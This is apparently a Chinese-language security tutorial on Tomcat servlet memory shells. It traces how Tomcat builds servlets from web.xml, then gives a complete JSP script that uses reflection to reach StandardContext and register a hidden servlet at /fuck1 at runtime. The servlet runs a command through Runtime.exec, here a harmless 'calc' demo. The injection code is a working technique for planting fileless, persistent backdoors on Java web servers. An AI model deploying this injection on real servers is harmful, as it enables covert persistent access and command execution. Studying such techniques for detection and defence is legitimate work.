Java内存马-Servlet
准备
servlet内存马的研究的本质就是对tomcat创建servlet过程的研究
随便创建一个servlet
<servlet>
<servlet-name>servletmem</servlet-name>
<servlet-class>memshell.servletmem</servlet-class>
</servlet>
<!-- 映射 URL 路径 -->
<servlet-mapping>
<servlet-name>servletmem</servlet-name>
<url-pattern>/servletmem</url-pattern>
</servlet-mapping>
导入tomcat
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.87</version>
<scope>provided</scope>
</dependency>
debug
开始debug
盯着catalina就行,这里是servlet执行的地方,去找他是咋来的
这个类有一个私有变量
private Servlet servlet = null;
他的赋值在 this.servlet =servlet
跟到了org/apache/catalina/core/ApplicationFilterFactory.java
这个servlet是传参进来的
public static ApplicationFilterChain createFilterChain(ServletRequest request, Wrapper wrapper, Servlet servlet)
调用栈出现过standardwrapperValue,跟进
网上跟到servlet赋值的位置
跟进
返回的是那个instance,他初始化在initServlet(instance);
在往上找,是在这里赋值
servlet = (Servlet) instanceManager.newInstance(servletClass);
跟进servletclass
找到org/apache/catalina/core/StandardWrapper.java里的setServletClass方法
去找这个方法的调用
找servlet赋值,这个for循环位于private void configureContext(WebXml webxml) 也就是这个类的有参构造
在org/apache/catalina/startup/ContextConfig.java调用
webxml来自于org/apache/catalina/startup/ContextConfig.java对web.xml的解析
那么接下来专注于这个位于org/apache/catalina/startup/ContextConfig.java 的 private void configureContext(WebXml webxml)就好了,后续我们研究toncat其他类型内存马的时候也会反复研究这个函数
此处是将xml读取到的东西注入tomcat的位置
有关servlet注入的操作有这几步需要关注
for (ServletDef servlet : webxml.getServlets().values()) {
Wrapper wrapper = context.createWrapper();
...
wrapper.setName(servlet.getServletName());
...
wrapper.setServletClass(servlet.getServletClass());
...
context.addChild(wrapper);
}
//添加映射关系
for (Entry<String, String> entry :
webxml.getServletMappings().entrySet()) {
context.addServletMappingDecoded(entry.getKey(), entry.getValue());
}
这里的context是StandardContext,可以通过HttpServletRequest.getServletContext.context.context获取
编写脚本
jsp脚本如下
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="javax.servlet.ServletContext" %>
<%!
public class fuck extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
Process process = Runtime.getRuntime().exec("calc");
}
}
%>
<%
try {
// 获取 servletContext 对象
ServletContext servletContext = request.getSession().getServletContext();
// 通过反射获取 ApplicationContext(org.apache.catalina.core.ApplicationContext)
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
// 通过 ApplicationContext 获取 StandardContext(代表当前 webapp)
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
// 创建并配置 Wrapper(封装 Servlet 的容器)
Wrapper wrapper = standardContext.createWrapper();
wrapper.setName("fuck");
wrapper.setServletClass(fuck.class.getName()); // Servlet 类的全限定名
wrapper.setServlet(new fuck()); // 直接设置实例(可绕懒加载)
// 添加 Wrapper 到 context
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/fuck1", "fuck");
out.println("Inject success.");
} catch (Exception e) {
e.printStackTrace();
}
%>